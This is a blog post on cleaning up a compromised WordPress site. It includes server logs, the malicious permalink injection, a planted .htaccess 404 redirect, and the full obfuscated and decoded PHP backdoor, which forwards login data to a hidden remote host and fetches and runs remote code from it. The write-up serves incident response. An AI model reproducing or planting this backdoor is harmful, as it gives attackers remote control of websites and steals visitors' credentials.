Cleaning Up the Aftermath of a Hacker Attack

The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that’s what the initial work order was for.

This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things about it:

There are two clues that your WordPress site has been attacked.

There are strange additions to the pretty permalinks, such as example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/. The keywords are “eval” and “base64_decode.”

The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but Journey Etc. has a possible solution.

This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -> Permalinks ).

Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You’ll not see them, but Google does.

Looking a little deeper, I found evidence of another previous hack job. The server error log contained hundreds of these entries:

[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php

WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven’t found the answer to THAT question. But what I find next begins to shed some light…

I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):

.htaccess
date.php
time.php
include.php

The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here’s what was in .htaccess file in the wp-content/header folder:

Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php

So what’s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.

And time.php (along with all the other added php files) is a nasty little bugger:


<?php
error_reporting(0);
$p="bcjihzzazbzgc";
eval(base64_decode("Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0="));
?>

So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven’t taken the time to figure out what the class that the file defines does, but somehow I don’t think it’s anything nice. After decoding, this is the file contents:


<?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
function error($msg='not connected') {if ($this->options & STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this->fullurl = $path;$this->options = $options;$this->defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this->error('missing host name');}$this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this->conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this->p_url = $url;$this->flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this->mode += 2;}$this->binary = (strpos($mode, 'b') !== false);$c = $this->context();if (!isset($c['method'])) {stream_context_set_option($this->context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this->context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this->context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this->context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this->conn_id) { fclose($this->conn_id);$this->conn_id = null;} }
function stream_read($bytes) { if (!$this->conn_id) { return $this->error();} if (!$this->flushed && !$this->stream_flush()) { return false;} if (feof($this->conn_id)) { return '';} $bytes = max(1,$bytes);if ($this->binary) { return fread($this->conn_id, $bytes);} else { return fgets($this->conn_id, $bytes);} }
function stream_write($data) { if (!$this->conn_id) { return $this->error();} if (!$this->mode & 2) { return $this->error('Stream is in read-only mode');} $c = $this->context();stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this->conn_id) { return true;} if (!$this->flushed) { return false;} return feof($this->conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this->flushed) { return false;} if (!$this->conn_id) { return $this->error();} $c = $this->context();$this->flushed = true;$RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false;} if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this->conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this->conn_id, 300));} trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this->stream_close();return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());} $data = rtrim(fgets($this->conn_id, 1024));while (!empty($data)) { $http_response_header .= $data."\r\n";if (strpos($data,'Content-Length: ') !== false) { $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this->conn_id, 1024));} if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this->stream_flush();return $this->stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this->context) { $this->context = stream_context_create();} $c = stream_context_get_options($this->context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST["l"]) and isset($_POST["p"])){if(isset($_POST["input"])){$user_auth="&l=".base64_encode($_POST["l"])."&p=".base64_encode(md5($_POST["p"]));} else {$user_auth="&l=".$_POST["l"]."&p=".$_POST["p"];}} else {$user_auth="";}if(!isset($_POST["log_flg"])){$log_flg="&log";}$rkht=1;if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode("LnVzZXJzLmJpc2hlbGwucnU=")."/?r_addr=".sprintf("%u", ip2long(getenv("REMOTE_ADDR")))."&url=".base64_encode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode("aHR0cDovLw==").$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode("aHR0cDI6Ly8=").$v)){}}
?>

Anyway, that’s what I found, that’s what I had to clean up. Six and a half hours to go through all of the files looking for this thing, cleaning up as I went.

UPDATE:

Since writing this post, I’ve completed 4 more site cleanups — each averaging over 4 hours. Gets rather expensive, guys and girls.

Please keep your WordPress installs up to date. That’s the most efficient way to guard against this kind of maliciousness.

Comments

    • Steve says

      I’m not at all certain that the nasty stuff got in through WordPress, because it’s scattered throughout the site even in non-WP folders.

      And yes, I still do like WP – if some of the other CMS apps were as popular ( ahem…cough…cough ) they’d be prime targets too 😀

  1. says

    Ouch! That’s not pretty.

    I’ve been thinking about a process of reducing the risk of such attacks. It works as follows:
    1) Run a local webserver and the blog on your home pc
    2) Run a tool which spiders the local blog and creates a html-only copy, again on your pc.
    3) Have the tool create a htaccess file which uses mod_rewrite to convert urls in you normal permalink format to the relevant html files.
    4) Upload the html files and htaccess file to your webhost.

    The idea is that the only thing hosted on your webserver is plain html files, significantly reducing the blogs attack surface. The major trade-off here is that you can’t accept user input such as comments.

    As I couldn’t find anything that does what I want, I’ve been creating my own tool to do it. It’s not quite ready, but should be soon and I’ll make it available through my website. A later version might include a small amount of locked-down dynamic code for handling comments.

  2. says

    I’ve been hacked twice the same way you describe on a website running the SPIP CMS.

    Therefore, i’d think this kind of attack is CMS-independant, and the hack might rather exploit a FTP client or weak-server infrastructure …

    I didn’t find the trick yet. Keep looking…

Trackbacks

  1. […] http://is.gd/35hNL “The Aftermath of a WordPress Hacker Attack” (RT)http://is.gd/35hjY Article deals with list buildingReading: Twitter: Complete Waste Of Time, Or Valuable Marketing Tool? http://www.clicknewz.com/1385/twitter/ Share and Enjoy: […]

Leave a Reply